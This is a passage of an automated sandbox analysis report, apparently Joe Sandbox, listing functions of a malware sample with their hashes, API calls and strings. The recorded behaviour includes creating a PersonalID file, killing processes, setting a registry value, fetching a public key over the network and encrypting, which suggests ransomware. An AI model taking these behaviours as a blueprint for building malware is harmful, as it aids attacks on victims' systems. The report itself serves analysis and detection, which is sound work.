Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
, xrefs: 00457482
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

func(%lu), xrefs: 00450734
error:%08lX:%s:%s:%s, xrefs: 00450792
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D
.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
